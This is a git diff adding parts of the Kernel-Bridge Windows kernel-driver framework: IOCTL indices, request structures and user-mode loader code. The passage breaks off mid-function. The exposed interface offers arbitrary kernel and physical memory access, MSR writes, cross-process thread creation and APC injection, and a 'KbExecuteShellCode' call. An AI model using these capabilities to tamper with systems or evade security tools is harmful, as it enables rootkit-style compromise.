KbSetThreadContext, + /* 71 */ KbCreateUserThread, + /* 72 */ KbCreateSystemThread, + /* 73 */ KbQueueUserApc, + /* 74 */ KbRaiseIopl, + /* 75 */ KbResetIopl, + /* 76 */ KbGetProcessCr3Cr4, + + // Sections: + /* 77 */ KbCreateSection, + /* 78 */ KbOpenSection, + /* 79 */ KbMapViewOfSection, + /* 80 */ KbUnmapViewOfSection, + + // Loadable modules: + /* 81 */ KbCreateDriver, + /* 82 */ KbLoadModule, + /* 83 */ KbGetModuleHandle, + /* 84 */ KbCallModule, + /* 85 */ KbUnloadModule, + + // Hypervisor: + /* 86 */ KbVmmEnable, + /* 87 */ KbVmmDisable, + /* 88 */ KbVmmInterceptPage, + /* 89 */ KbVmmDeinterceptPage, + + // Stuff u kn0w: + /* 90 */ KbExecuteShellCode, + /* 91 */ KbGetKernelProcAddress, + /* 92 */ KbStallExecutionProcessor, + /* 93 */ KbBugCheck, + /* 94 */ KbFindSignature + }; +} + +DECLARE_STRUCT(KB_GET_DRIVER_API_VERSION_OUT, { + ULONG Version; +}); + +DECLARE_STRUCT(KB_GET_HANDLES_COUNT_OUT, { + ULONG HandlesCount; +}); + +DECLARE_STRUCT(KB_SET_BEEPER_DIVIDER_IN, { + USHORT Divider; +}); + +DECLARE_STRUCT(KB_SET_BEEPER_FREQUENCY_IN, { + USHORT Frequency; +}); + +DECLARE_STRUCT(KB_READ_PORT_IN, { + USHORT PortNumber; +}); + +DECLARE_STRUCT(KB_READ_PORT_BYTE_OUT, { + UCHAR Value; +}); + +DECLARE_STRUCT(KB_READ_PORT_WORD_OUT, { + USHORT Value; +}); + +DECLARE_STRUCT(KB_READ_PORT_DWORD_OUT, { + ULONG Value; +}); + +DECLARE_STRUCT(KB_READ_PORT_STRING_IN, { + USHORT PortNumber; + USHORT Granularity; // sizeof(UCHAR/USHORT/ULONG) + ULONG Count; // Will be write 'Count' times of 'Granularity' bytes +}); + +DECLARE_STRUCT(KB_READ_PORT_STRING_OUT, { + union { + UCHAR ByteString[1]; + USHORT WordString[1]; + ULONG DwordString[1]; + }; +}); + +DECLARE_STRUCT(KB_WRITE_PORT_IN, { + USHORT PortNumber; + USHORT Granularity; + union { + UCHAR Byte; + USHORT Word; + ULONG Dword; + }; +}); + +DECLARE_STRUCT(KB_WRITE_PORT_STRING_IN, { + USHORT PortNumber; + USHORT Granularity; // sizeof(UCHAR/USHORT/ULONG) + ULONG Count; // Will be write 'Count' times of 'Granularity' bytes + ULONG BufferSize; + WdkTypes::PVOID Buffer; +}); + +DECLARE_STRUCT(KB_READ_MSR_IN, { + ULONG Index; +}); + +DECLARE_STRUCT(KB_READ_MSR_OUT, { + UINT64 Value; +}); + +DECLARE_STRUCT(KB_WRITE_MSR_IN, { + UINT64 Value; + ULONG Index; +}); + +DECLARE_STRUCT(KB_CPUID_IN, { + ULONG FunctionIdEax; +}); + +DECLARE_STRUCT(KB_CPUIDEX_IN, { + ULONG FunctionIdEax; + ULONG SubfunctionIdEcx; +}); + +DECLARE_STRUCT(KB_CPUID_OUT, { + ULONG Eax; + ULONG Ebx; + ULONG Ecx; + ULONG Edx; +}); + +DECLARE_STRUCT(KB_READ_PMC_IN, { + ULONG Counter; +}); + +DECLARE_STRUCT(KB_READ_PMC_OUT, { + UINT64 Value; +}); + +DECLARE_STRUCT(KB_READ_TSC_OUT, { + UINT64 Value; +}); + +DECLARE_STRUCT(KB_READ_TSCP_OUT, { + UINT64 Value; + UINT32 TscAux; +}); + +DECLARE_STRUCT(KB_ALLOC_KERNEL_MEMORY_IN, { + ULONG Size; + BOOLEAN Executable; +}); + +DECLARE_STRUCT(KB_ALLOC_KERNEL_MEMORY_OUT, { + WdkTypes::PVOID KernelAddress; +}); + +DECLARE_STRUCT(KB_FREE_KERNEL_MEMORY_IN, { + WdkTypes::PVOID KernelAddress; +}); + +DECLARE_STRUCT(KB_ALLOC_NON_CACHED_MEMORY_IN, { + ULONG Size; +}); + +DECLARE_STRUCT(KB_ALLOC_NON_CACHED_MEMORY_OUT, { + WdkTypes::PVOID KernelAddress; +}); + +DECLARE_STRUCT(KB_FREE_NON_CACHED_MEMORY_IN, { + WdkTypes::PVOID KernelAddress; + ULONG Size; +}); + +DECLARE_STRUCT(KB_COPY_MOVE_MEMORY_IN, { + WdkTypes::PVOID Src; + WdkTypes::PVOID Dest; + ULONG Size; + BOOLEAN Intersects; // Whether Src and Dest intersects (use memmove if true) +}); + +DECLARE_STRUCT(KB_FILL_MEMORY_IN, { + WdkTypes::PVOID Address; + ULONG Size; + UCHAR Filler; +}); + +DECLARE_STRUCT(KB_EQUAL_MEMORY_IN, { + WdkTypes::PVOID Src; + WdkTypes::PVOID Dest; + ULONG Size; +}); + +DECLARE_STRUCT(KB_EQUAL_MEMORY_OUT, { + BOOLEAN Equals; +}); + +DECLARE_STRUCT(KB_ALLOCATE_MDL_IN, { + WdkTypes::PVOID VirtualAddress; + ULONG Size; +}); + +DECLARE_STRUCT(KB_ALLOCATE_MDL_OUT, { + WdkTypes::PMDL Mdl; +}); + +DECLARE_STRUCT(KB_PROBE_AND_LOCK_PAGES_IN, { + OPTIONAL UINT64 ProcessId; + WdkTypes::PMDL Mdl; + WdkTypes::KPROCESSOR_MODE ProcessorMode; + WdkTypes::LOCK_OPERATION LockOperation; +}); + +DECLARE_STRUCT(KB_MAP_MDL_IN, { + OPTIONAL UINT64 SrcProcessId; + OPTIONAL UINT64 DestProcessId; + WdkTypes::PMDL Mdl; + BOOLEAN NeedProbeAndLock; + WdkTypes::KPROCESSOR_MODE MapToAddressSpace; + ULONG Protect; + WdkTypes::MEMORY_CACHING_TYPE CacheType; + OPTIONAL WdkTypes::PVOID UserRequestedAddress; +}); + +DECLARE_STRUCT(KB_MAP_MDL_OUT, { + WdkTypes::PVOID BaseAddress; +}); + +DECLARE_STRUCT(KB_MAP_MEMORY_IN, { + OPTIONAL UINT64 SrcProcessId; + OPTIONAL UINT64 DestProcessId; + WdkTypes::PVOID VirtualAddress; + ULONG Size; + WdkTypes::KPROCESSOR_MODE MapToAddressSpace; + ULONG Protect; + WdkTypes::MEMORY_CACHING_TYPE CacheType; + OPTIONAL WdkTypes::PVOID UserRequestedAddress; +}); + +DECLARE_STRUCT(KB_MAP_MEMORY_OUT, { + WdkTypes::PVOID BaseAddress; + WdkTypes::PMDL Mdl; // Necessary for unmapping, don't change! +}); + +DECLARE_STRUCT(KB_PROTECT_MAPPED_MEMORY_IN, { + WdkTypes::PMDL Mdl; + ULONG Protect; +}); + +DECLARE_STRUCT(KB_UNMAP_MDL_IN, { + WdkTypes::PVOID BaseAddress; + WdkTypes::PMDL Mdl; + BOOLEAN NeedUnlock; +}); + +DECLARE_STRUCT(KB_UNLOCK_PAGES_IN, { + WdkTypes::PMDL Mdl; +}); + +DECLARE_STRUCT(KB_FREE_MDL_IN, { + WdkTypes::PMDL Mdl; +}); + +DECLARE_STRUCT(KB_UNMAP_MEMORY_IN, { + WdkTypes::PVOID BaseAddress; + WdkTypes::PMDL Mdl; +}); + +DECLARE_STRUCT(KB_ALLOC_PHYSICAL_MEMORY_IN, { + WdkTypes::PVOID LowestAcceptableAddress; + WdkTypes::PVOID HighestAcceptableAddress; + WdkTypes::PVOID BoundaryAddressMultiple; + ULONG Size; + WdkTypes::MEMORY_CACHING_TYPE CachingType; +}); + +DECLARE_STRUCT(KB_ALLOC_PHYSICAL_MEMORY_OUT, { + WdkTypes::PVOID Address; +}); + +DECLARE_STRUCT(KB_FREE_PHYSICAL_MEMORY_IN, { + WdkTypes::PVOID Address; +}); + +DECLARE_STRUCT(KB_MAP_PHYSICAL_MEMORY_IN, { + WdkTypes::PVOID PhysicalAddress; + ULONG Size; + WdkTypes::MEMORY_CACHING_TYPE CachingType; +}); + +DECLARE_STRUCT(KB_MAP_PHYSICAL_MEMORY_OUT, { + WdkTypes::PVOID VirtualAddress; +}); + +DECLARE_STRUCT(KB_UNMAP_PHYSICAL_MEMORY_IN, { + WdkTypes::PVOID VirtualAddress; + ULONG Size; +}); + +DECLARE_STRUCT(KB_GET_PHYSICAL_ADDRESS_IN, { + WdkTypes::PEPROCESS Process; + WdkTypes::PVOID VirtualAddress; +}); + +DECLARE_STRUCT(KB_GET_PHYSICAL_ADDRESS_OUT, { + WdkTypes::PVOID PhysicalAddress; +}); + +DECLARE_STRUCT(KB_GET_VIRTUAL_FOR_PHYSICAL_IN, { + WdkTypes::PVOID PhysicalAddress; +}); + +DECLARE_STRUCT(KB_GET_VIRTUAL_FOR_PHYSICAL_OUT, { + WdkTypes::PVOID VirtualAddress; +}); + +DECLARE_STRUCT(KB_READ_WRITE_PHYSICAL_MEMORY_IN, { + WdkTypes::PVOID PhysicalAddress; + WdkTypes::PVOID Buffer; + ULONG Size; + WdkTypes::MEMORY_CACHING_TYPE CachingType; +}); + +constexpr int DmiSize = 65536; + +DECLARE_STRUCT(KB_READ_DMI_MEMORY_OUT, { + UCHAR DmiBuffer[DmiSize]; +}); + +DECLARE_STRUCT(KB_GET_EPROCESS_IN, { + UINT64 ProcessId; +}); + +DECLARE_STRUCT(KB_GET_EPROCESS_OUT, { + WdkTypes::PEPROCESS Process; +}); + +DECLARE_STRUCT(KB_GET_ETHREAD_IN, { + UINT64 ThreadId; +}); + +DECLARE_STRUCT(KB_GET_ETHREAD_OUT, { + WdkTypes::PETHREAD Thread; +}); + +DECLARE_STRUCT(KB_OPEN_PROCESS_IN, { + UINT64 ProcessId; + ACCESS_MASK Access; + ULONG Attributes; +}); + +DECLARE_STRUCT(KB_OPEN_PROCESS_BY_POINTER_IN, { + WdkTypes::PEPROCESS Process; + ACCESS_MASK Access; + ULONG Attributes; + WdkTypes::KPROCESSOR_MODE ProcessorMode; +}); + +DECLARE_STRUCT(KB_OPEN_PROCESS_OUT, { + WdkTypes::HANDLE hProcess; +}); + +DECLARE_STRUCT(KB_OPEN_THREAD_IN, { + UINT64 ThreadId; + ACCESS_MASK Access; + ULONG Attributes; +}); + +DECLARE_STRUCT(KB_OPEN_THREAD_BY_POINTER_IN, { + WdkTypes::PETHREAD Thread; + ACCESS_MASK Access; + ULONG Attributes; + WdkTypes::KPROCESSOR_MODE ProcessorMode; +}); + +DECLARE_STRUCT(KB_OPEN_THREAD_OUT, { + WdkTypes::HANDLE hThread; +}); + +DECLARE_STRUCT(KB_DEREFERENCE_OBJECT_IN, { + WdkTypes::PVOID Object; +}); + +DECLARE_STRUCT(KB_CLOSE_HANDLE_IN, { + WdkTypes::HANDLE Handle; +}); + +DECLARE_STRUCT(KB_QUERY_INFORMATION_PROCESS_THREAD_IN, { + WdkTypes::HANDLE Handle; + WdkTypes::PVOID Buffer; + WdkTypes::PULONG ReturnLength; + ULONG InfoClass; + ULONG Size; +}); + +DECLARE_STRUCT(KB_SET_INFORMATION_PROCESS_THREAD_IN, { + WdkTypes::HANDLE Handle; + WdkTypes::PVOID Buffer; + ULONG InfoClass; + ULONG Size; +}); + +DECLARE_STRUCT(KB_ALLOC_USER_MEMORY_IN, { + UINT64 ProcessId; + ULONG Size; + ULONG Protect; +}); + +DECLARE_STRUCT(KB_ALLOC_USER_MEMORY_OUT, { + WdkTypes::PVOID BaseAddress; +}); + +DECLARE_STRUCT(KB_FREE_USER_MEMORY_IN, { + UINT64 ProcessId; + WdkTypes::PVOID BaseAddress; +}); + +DECLARE_STRUCT(KB_SECURE_VIRTUAL_MEMORY_IN, { + ULONG ProcessId; + ULONG ProtectRights; + WdkTypes::PVOID BaseAddress; + ULONG Size; +}); + +DECLARE_STRUCT(KB_SECURE_VIRTUAL_MEMORY_OUT, { + WdkTypes::HANDLE SecureHandle; +}); + +DECLARE_STRUCT(KB_UNSECURE_VIRTUAL_MEMORY_IN, { + WdkTypes::HANDLE SecureHandle; + ULONG ProcessId; +}); + +DECLARE_STRUCT(KB_READ_PROCESS_MEMORY_IN, { + OPTIONAL UINT64 ProcessId; + WdkTypes::PVOID BaseAddress; + WdkTypes::PVOID Buffer; + ULONG Size; +}); + +DECLARE_STRUCT(KB_WRITE_PROCESS_MEMORY_IN, { + OPTIONAL UINT64 ProcessId; + WdkTypes::PVOID BaseAddress; + WdkTypes::PVOID Buffer; + ULONG Size; + BOOLEAN PerformCopyOnWrite; +}); + +DECLARE_STRUCT(KB_TRIGGER_COPY_ON_WRITE_IN, { + OPTIONAL UINT64 ProcessId; + WdkTypes::PVOID PageVirtualAddress; +}); + +DECLARE_STRUCT(KB_SUSPEND_RESUME_PROCESS_IN, { + UINT64 ProcessId; +}); + +DECLARE_STRUCT(KB_GET_SET_THREAD_CONTEXT_IN, { + UINT64 ThreadId; + ULONG ContextSize; // Must be size of native CONTEXT struct + WdkTypes::KPROCESSOR_MODE ProcessorMode; + WdkTypes::PVOID Context; // Pointer to native CONTEXT struct +}); + +DECLARE_STRUCT(KB_CREATE_USER_THREAD_IN, { + UINT64 ProcessId; + WdkTypes::PVOID ThreadRoutine; + WdkTypes::PVOID Argument; + BOOLEAN CreateSuspended; +}); + +DECLARE_STRUCT(KB_CREATE_SYSTEM_THREAD_IN, { + OPTIONAL UINT64 AssociatedProcessId; + WdkTypes::PVOID ThreadRoutine; + WdkTypes::PVOID Argument; +}); + +DECLARE_STRUCT(KB_CREATE_USER_SYSTEM_THREAD_OUT, { + WdkTypes::HANDLE hThread; + WdkTypes::CLIENT_ID ClientId; +}); + +DECLARE_STRUCT(KB_QUEUE_USER_APC_IN, { + UINT64 ThreadId; + WdkTypes::PVOID ApcProc; + WdkTypes::PVOID Argument; +}); + +DECLARE_STRUCT(KB_GET_PROCESS_CR3_CR4_IN, { + UINT64 ProcessId; +}); + +DECLARE_STRUCT(KB_GET_PROCESS_CR3_CR4_OUT, { + UINT64 Cr3; + UINT64 Cr4; +}); + +DECLARE_STRUCT(KB_CREATE_SECTION_IN, { + OPTIONAL WdkTypes::LPCWSTR Name; + UINT64 MaximumSize; + ACCESS_MASK DesiredAccess; + ULONG SecObjFlags; // OBJ_*** + ULONG SecPageProtection; + ULONG AllocationAttributes; + OPTIONAL WdkTypes::HANDLE hFile; +}); + +DECLARE_STRUCT(KB_OPEN_SECTION_IN, { + WdkTypes::LPCWSTR Name; + ACCESS_MASK DesiredAccess; + ULONG SecObjFlags; // OBJ_*** +}); + +DECLARE_STRUCT(KB_CREATE_OPEN_SECTION_OUT, { + WdkTypes::HANDLE hSection; +}); + +DECLARE_STRUCT(KB_MAP_VIEW_OF_SECTION_IN, { + WdkTypes::HANDLE hSection; + WdkTypes::HANDLE hProcess; + IN WdkTypes::PVOID BaseAddress; + ULONG CommitSize; + UINT64 SectionOffset; + UINT64 ViewSize; + WdkTypes::SECTION_INHERIT SectionInherit; + ULONG AllocationType; + ULONG Win32Protect; +}); + +DECLARE_STRUCT(KB_MAP_VIEW_OF_SECTION_OUT, { + WdkTypes::PVOID BaseAddress; + UINT64 SectionOffset; + UINT64 ViewSize; +}); + +DECLARE_STRUCT(KB_UNMAP_VIEW_OF_SECTION_IN, { + WdkTypes::HANDLE hProcess; + WdkTypes::PVOID BaseAddress; +}); + +DECLARE_STRUCT(KB_VMM_INTERCEPT_PAGE_IN, { + IN WdkTypes::PVOID64 PhysicalAddress; + IN OPTIONAL WdkTypes::PVOID64 OnReadPhysicalAddress; + IN OPTIONAL WdkTypes::PVOID64 OnWritePhysicalAddress; + IN OPTIONAL WdkTypes::PVOID64 OnExecutePhysicalAddress; + IN OPTIONAL WdkTypes::PVOID64 OnExecuteReadPhysicalAddress; + IN OPTIONAL WdkTypes::PVOID64 OnExecuteWritePhysicalAddress; +}); + +DECLARE_STRUCT(KB_VMM_DEINTERCEPT_PAGE_IN, { + IN WdkTypes::PVOID64 PhysicalAddress; +}); + +DECLARE_STRUCT(KB_EXECUTE_SHELL_CODE_IN, { + WdkTypes::PVOID Address; + WdkTypes::PVOID Argument; +}); + +DECLARE_STRUCT(KB_EXECUTE_SHELL_CODE_OUT, { + ULONG Result; +}); + +DECLARE_STRUCT(KB_GET_KERNEL_PROC_ADDRESS_IN, { + WdkTypes::LPCWSTR RoutineName; + ULONG SizeOfBufferInBytes; +}); + +DECLARE_STRUCT(KB_GET_KERNEL_PROC_ADDRESS_OUT, { + WdkTypes::PVOID Address; +}); + +DECLARE_STRUCT(KB_STALL_EXECUTION_PROCESSOR_IN, { + ULONG Microseconds; +}); + +DECLARE_STRUCT(KB_BUG_CHECK_IN, { + ULONG Status; +}); + +DECLARE_STRUCT(KB_CREATE_DRIVER_IN, { + WdkTypes::PVOID DriverEntry; + WdkTypes::LPCWSTR DriverName; + ULONG DriverNameSizeInBytes; +}); + +DECLARE_STRUCT(KB_LOAD_MODULE_IN, { + WdkTypes::HMODULE hModule; + WdkTypes::LPCWSTR ModuleName; + WdkTypes::PVOID OnLoad; + WdkTypes::PVOID OnUnload; + WdkTypes::PVOID OnDeviceControl; +}); + +DECLARE_STRUCT(KB_GET_MODULE_HANDLE_IN, { + WdkTypes::LPCWSTR ModuleName; +}); + +DECLARE_STRUCT(KB_GET_MODULE_HANDLE_OUT, { + WdkTypes::HMODULE hModule; +}); + +DECLARE_STRUCT(KB_CALL_MODULE_IN, { + WdkTypes::HMODULE hModule; + WdkTypes::PVOID Argument; + ULONG CtlCode; +}); + +DECLARE_STRUCT(KB_UNLOAD_MODULE_IN, { + WdkTypes::HMODULE hModule; +}); + +DECLARE_STRUCT(KB_FIND_SIGNATURE_IN, { + OPTIONAL UINT64 ProcessId; + WdkTypes::PVOID Memory; + ULONG Size; + WdkTypes::LPCSTR Signature; + WdkTypes::LPCSTR Mask; +}); + +DECLARE_STRUCT(KB_FIND_SIGNATURE_OUT, { + WdkTypes::PVOID Address; +}); \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.cpp" new file mode 100644 index 0000000..46b6ef8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.cpp" @@ -0,0 +1,198 @@ +#include + +#include "DriversUtils.h" + +BOOL InstallDriver(LPCWSTR FilePath, LPCWSTR DriverName, DWORD DriverType) +{ + SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + + if (hSCManager == NULL) return FALSE; + + SC_HANDLE hService = CreateService( + hSCManager, DriverName, DriverName, + SERVICE_ALL_ACCESS, DriverType, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, FilePath, + NULL, NULL, NULL, NULL, NULL + ); + + if (hService == NULL) { + CloseServiceHandle(hSCManager); + return FALSE; + } + + LPCWSTR Arguments = NULL; + BOOL Status = StartService(hService, 0, &Arguments); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + return Status; +} + +BOOL SetupFilterInstance(LPCWSTR DriverName, LPCWSTR InstanceName, LPCWSTR Altitude, DWORD Flags, BOOL SetAsDefaultInstance) +{ + WCHAR PathBuffer[MAX_PATH] = {}; + wcscpy_s(PathBuffer, MAX_PATH, L"System\\CurrentControlSet\\Services\\"); + wcscat_s(PathBuffer, MAX_PATH, DriverName); + + // Registering an instance with specified flags and altitude: + HKEY hKey = NULL; + LSTATUS RegStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE, PathBuffer, 0, KEY_ALL_ACCESS, &hKey); + if (RegStatus != ERROR_SUCCESS) return FALSE; + + HKEY hInstancesKey = NULL; + DWORD Disposition = 0; + RegStatus = RegCreateKeyEx(hKey, L"Instances", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hInstancesKey, &Disposition); + RegCloseKey(hKey); + if (RegStatus != ERROR_SUCCESS) return FALSE; + + if (SetAsDefaultInstance) { + RegStatus = RegSetValueEx( + hInstancesKey, + L"DefaultInstance", + 0, + REG_SZ, + reinterpret_cast(InstanceName), + (static_cast(wcsnlen_s(InstanceName, MAX_PATH)) + 1) * sizeof(WCHAR) + ); + + if (RegStatus != ERROR_SUCCESS) { + RegCloseKey(hInstancesKey); + return FALSE; + } + } + + HKEY hInstanceKey = NULL; + RegStatus = RegCreateKeyEx(hInstancesKey, InstanceName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hInstanceKey, &Disposition); + if (RegStatus != ERROR_SUCCESS) { + RegCloseKey(hInstancesKey); + return FALSE; + } + RegCloseKey(hInstancesKey); + + RegStatus = RegSetValueEx( + hInstanceKey, + L"Altitude", + 0, + REG_SZ, + reinterpret_cast(Altitude), + (static_cast(wcsnlen_s(Altitude, MAX_PATH)) + 1) * sizeof(WCHAR) + ); + + if (RegStatus != ERROR_SUCCESS) { + RegCloseKey(hInstanceKey); + return FALSE; + } + + RegStatus = RegSetValueEx( + hInstanceKey, + L"Flags", + 0, + REG_DWORD, + reinterpret_cast(&Flags), + sizeof(Flags) + ); + + RegCloseKey(hInstanceKey); + + return RegStatus == ERROR_SUCCESS; +} + +BOOL InstallMinifilter(LPCWSTR FilePath, LPCWSTR DriverName, LPCWSTR Altitude) +{ + SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + + if (hSCManager == NULL) return FALSE; + + SC_HANDLE hService = CreateService( + hSCManager, DriverName, DriverName, + SERVICE_ALL_ACCESS, SERVICE_FILE_SYSTEM_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, + FilePath, + L"FSFilter Activity Monitor", + NULL, + NULL, + NULL, + NULL + ); + + CloseServiceHandle(hSCManager); + + if (hService == NULL) return FALSE; + + if (!SetupFilterInstance(DriverName, L"DefInst", Altitude, 0, TRUE)) { + CloseServiceHandle(hService); + return FALSE; + } + + LPCWSTR Arguments = NULL; + BOOL Status = StartService(hService, 0, &Arguments); + + CloseServiceHandle(hService); + + return Status; +} + +BOOL DeleteDriver(LPCWSTR DriverName) +{ + SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (hSCManager == NULL) return FALSE; + + SC_HANDLE hService = OpenService(hSCManager, DriverName, SERVICE_ALL_ACCESS); + if (hService == NULL) { + CloseServiceHandle(hSCManager); + return FALSE; + } + + SERVICE_STATUS ServiceStatus; + ControlService(hService, SERVICE_CONTROL_STOP, &ServiceStatus); + BOOL Status = DeleteService(hService); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + return Status; +} + +HANDLE OpenDevice(LPCWSTR NativeDeviceName) +{ + return CreateFile( + NativeDeviceName, + 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_SYSTEM, + NULL + ); +} + +BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned, + OPTIONAL IN DWORD Method +) { + DWORD RawIoctl = CTL_CODE(0x8000, Ioctl, Method, FILE_ANY_ACCESS); + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, RawIoctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; +} + +BOOL SendRawIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned +) { + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, Ioctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.h" new file mode 100644 index 0000000..bcd48c5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/DriversUtils.h" @@ -0,0 +1,34 @@ +#pragma once + +#define IOCTL(Code, Method) (CTL_CODE(0x8000, (Code), Method, FILE_ANY_ACCESS)) +#define EXTRACT_CTL_CODE(Ioctl) ((unsigned short)(((Ioctl) & 0b0011111111111100) >> 2)) +#define EXTRACT_CTL_METHOD(Ioctl) ((unsigned short)((Ioctl) & 0b11)) + +#define CTL_BASE (0x800) + +BOOL InstallDriver(LPCWSTR FilePath, LPCWSTR DriverName, DWORD DriverType = SERVICE_KERNEL_DRIVER); +BOOL InstallMinifilter(LPCWSTR FilePath, LPCWSTR DriverName, LPCWSTR Altitude); +BOOL DeleteDriver(LPCWSTR DriverName); + +HANDLE OpenDevice(LPCWSTR DeviceName); + +BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL, + OPTIONAL IN DWORD Method = METHOD_NEITHER +); + +BOOL SendRawIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL +); diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.cpp" new file mode 100644 index 0000000..10c06c3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.cpp" @@ -0,0 +1,1395 @@ +#include "User-Bridge.h" + +namespace KbLoader +{ + // {B33F10A7-D4BC-4B7D-815A-6CA66FA96FD6} + static constexpr LPCWSTR KbDriverName = L"{B33F10A7-D4BC-4B7D-815A-6CA66FA96FD6}"; + static constexpr LPCWSTR KbDeviceName = L"\\\\.\\{B33F10A7-D4BC-4B7D-815A-6CA66FA96FD6}"; + static HANDLE hDriver = INVALID_HANDLE_VALUE; +} + +static inline BOOL WINAPI KbSendRequest( + Ctls::KbCtlIndices Index, + IN PVOID Input = NULL, + ULONG InputSize = 0, + OUT PVOID Output = NULL, + ULONG OutputSize = 0 +) { + return SendIOCTL(KbLoader::hDriver, CTL_BASE + Index, Input, InputSize, Output, OutputSize); +} + +namespace KbLoader +{ + BOOL WINAPI KbLoadAsDriver(LPCWSTR DriverPath) + { + // Check whether the Kernel-Bridge is already loaded: + if (hDriver != INVALID_HANDLE_VALUE) return TRUE; + hDriver = OpenDevice(KbDeviceName); + if (hDriver != INVALID_HANDLE_VALUE) { + ULONG DriverApiVersion = KbGetDriverApiVersion(); + if (KbGetUserApiVersion() == DriverApiVersion) return TRUE; + + ULONG HandlesCount = 0; + if (!KbGetHandlesCount(&HandlesCount) || HandlesCount > 1) { + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + return FALSE; + } + + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + } + + // Removing tails from previous installation: + DeleteDriver(KbDriverName); + + // Installing driver: + BOOL Status = InstallDriver(DriverPath, KbDriverName); + if (!Status) return FALSE; + + // Obtaining it's handle: + hDriver = OpenDevice(KbDeviceName); + if (hDriver == INVALID_HANDLE_VALUE) { + DeleteDriver(KbDriverName); + return FALSE; + } + + return TRUE; + } + + BOOL WINAPI KbLoadAsFilter( + LPCWSTR DriverPath, + LPCWSTR Altitude + ) { + // Check whether the Kernel-Bridge is already loaded: + if (hDriver != INVALID_HANDLE_VALUE) return TRUE; + hDriver = OpenDevice(KbDeviceName); + if (hDriver != INVALID_HANDLE_VALUE) { + ULONG DriverApiVersion = KbGetDriverApiVersion(); + if (KbGetUserApiVersion() == DriverApiVersion) return TRUE; + + ULONG HandlesCount = 0; + if (!KbGetHandlesCount(&HandlesCount) || HandlesCount > 1) { + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + return FALSE; + } + + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + } + + // Removing tails from previous installation: + DeleteDriver(KbDriverName); + + BOOL Status = InstallMinifilter(DriverPath, KbDriverName, Altitude); + if (!Status) return FALSE; + + // Obtaining it's handle: + hDriver = OpenDevice(KbDeviceName); + if (hDriver == INVALID_HANDLE_VALUE) { + DeleteDriver(KbDriverName); + return FALSE; + } + + return TRUE; + } + + BOOL WINAPI KbUnload() + { + if (hDriver == INVALID_HANDLE_VALUE) return TRUE; + + ULONG HandlesCount = 0; + if (KbGetHandlesCount(&HandlesCount) && HandlesCount > 1) { + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + return TRUE; + } + + CloseHandle(hDriver); + hDriver = INVALID_HANDLE_VALUE; + return 